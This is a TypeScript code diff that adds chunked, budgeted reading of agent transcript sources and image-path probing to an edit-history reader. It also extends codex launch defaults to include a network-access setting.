+    if (!res) return { found: false, more: false };
+    this.dropMissing(store, requests, res);
+    for (const [agentId, text] of Object.entries(res.metas)) {
+      if (!store.hasAgentMeta(agentId)) store.setAgentMeta(agentId, text);
+    }
+    const requested = new Set(requests.map((r) => r.relPath));
+    let more = false;
+    const candidates: ImageCandidate[] = [];
+    let parsed = false;
+    for (const f of res.files) {
+      // Each file is up to one budget (8 MiB) of synchronous parsing: yield between them.
+      if (parsed) await breathe();
+      if (store.isRemoved()) break;
+      // A requested file reads on from its cursor, a new one its tail.
+      const available = requested.has(f.relPath) ? f.size - f.startOffset : f.size;
+      if (f.chunk.length < Math.min(this.budget, available)) {
+        more = true;
+        continue;
+      }
+      parsed = true;
+      const r = store.apply({
+        transcriptId: res.transcriptId,
+        source: f.relPath,
+        startOffset: f.startOffset,
+        chunk: f.chunk,
+        size: f.size,
+      });
+      candidates.push(...r.candidates);
+      if (f.startOffset + f.chunk.length < f.size) more = true;
+    }
+    await this.addImages(session, store, candidates);
+    return { found: true, more };
+  }
+
+  private async readOlder(
+    session: EditHistorySession,
+    path: string,
+    store: EditHistoryStore,
+    slot: SessionSlot
+  ): Promise<boolean> {
+    if (!store.backfillTruncated) return true;
+    // Older lines belong to the stored conversation, even before a forward read moved on.
+    path = this.storedTranscript(path, store);
+    const sources = store.sourcesWithOlder().sort();
+    if (sources.length === 0) return true;
+    // Take turns: start after the last source the previous click read.
+    const after = slot.olderAfter;
+    const first =
+      after === undefined
+        ? 0
+        : Math.max(
+            0,
+            sources.findIndex((s) => s > after)
+          );
+    const picked = [...sources.slice(first), ...sources.slice(0, first)].slice(0, MAX_OLDER_SOURCES);
+    const requests: EditSourceRequest[] = [];
+    for (const relPath of picked) {
+      const range = store.olderRange(relPath, this.budget);
+      if (range) requests.push({ relPath, offset: range.offset, len: range.len });
+    }
+    if (requests.length === 0) return true;
+    slot.olderAfter = picked[picked.length - 1];
+    const res = await this.deps.readSources(session, path, requests, this.budget * requests.length, {
+      onlyRequested: true,
+    });
+    if (!res) return false;
+    if (res.transcriptId !== store.getTranscriptId()) return true;
+    this.dropMissing(store, requests, res);
+    const wanted = new Set(requests.map((r) => r.relPath));
+    const candidates: ImageCandidate[] = [];
+    let parsed = false;
+    for (const f of res.files) {
+      if (!wanted.has(f.relPath)) continue;
+      // Each file is up to one budget (8 MiB) of synchronous parsing: yield between them.
+      if (parsed) await breathe();
+      parsed = true;
+      if (slot.gone) return true;
+      const r = store.applyOlder({
+        transcriptId: res.transcriptId,
+        source: f.relPath,
+        startOffset: f.startOffset,
+        chunk: f.chunk,
+        size: f.size,
+      });
+      candidates.push(...r.candidates);
+    }
+    await this.addImages(session, store, candidates);
+    return true;
+  }
+
+  /** Requested files the reader no longer lists are gone: their cursors go too. */
+  private dropMissing(store: EditHistoryStore, requests: readonly EditSourceRequest[], res: EditSources): void {
+    const listed = new Set(res.files.map((f) => f.relPath));
+    for (const r of requests) if (!listed.has(r.relPath)) store.dropSource(r.relPath);
+  }
+
+  private async addImages(
+    session: EditHistorySession,
+    store: EditHistoryStore,
+    candidates: readonly ImageCandidate[]
+  ): Promise<void> {
+    const paths = [...new Set(candidates.flatMap((c) => c.paths))];
+    // A removed store keeps nothing: do not probe agent-printed paths for it.
+    if (paths.length === 0 || store.isRemoved()) return;
+    let probes: Array<PathProbe | null>;
+    try {
+      probes = await this.deps.probe(session, paths);
+    } catch {
+      // The edits of this read are in; only its images are lost. The read itself succeeded.
+      return;
+    }
+    const byPath = new Map(paths.map((p, i) => [p, probes[i]]));
+    const newest = new Map<string, number>();
+    for (const e of store.list()) newest.set(e.path, Math.max(newest.get(e.path) ?? -Infinity, e.ts));
+    store.addImageEntries(
+      confirmImages(
+        candidates,
+        (p) => byPath.get(p),
+        (p) => newest.get(p)
+      )
+    );
+  }
+}

src/web/launch-defaults.ts

@@ -2,7 +2,7 @@
  * @fileoverview Launch-time defaults from synced App Settings, driven by registry data.
  *
  * A CLI entry declares `capabilities.launchDefaults` (launch param -> settings key; today
- * only codex, `{ model: 'codexModel', reasoningEffort: 'codexReasoningEffort' }`), and
+ * only codex: `model`, `reasoningEffort` and `networkAccess`), and
  * `applyLaunchDefaults()` fills those settings into the entry's `launch.legacyConfigField`
  * object, setting ONLY the fields the caller left unset. Persisted values are re-validated
  * with `SettingsUpdateSchema`, so a hand-edited settings.json can never smuggle an
@@ -39,7 +39,7 @@ export async function applyLaunchDefaults<T extends object>(
   const defaults: Record<string, unknown> = {};
   for (const [param, settingKey] of Object.entries(declared)) {
     const parsed = SettingsUpdateSchema.shape[settingKey].safeParse(settings[settingKey]);
-    // '' is the settings' "leave it to the CLI" value, the same as unset.
+    // '' and an off switch are the settings' "leave it to the CLI" value, the same as unset.
     const value = parsed.success ? parsed.data || undefined : undefined;
     const wireKey = aliases[param] ?? param;
     if (value !== undefined && (current?.[wireKey] ?? undefined) === undefined) defaults[wireKey] = value;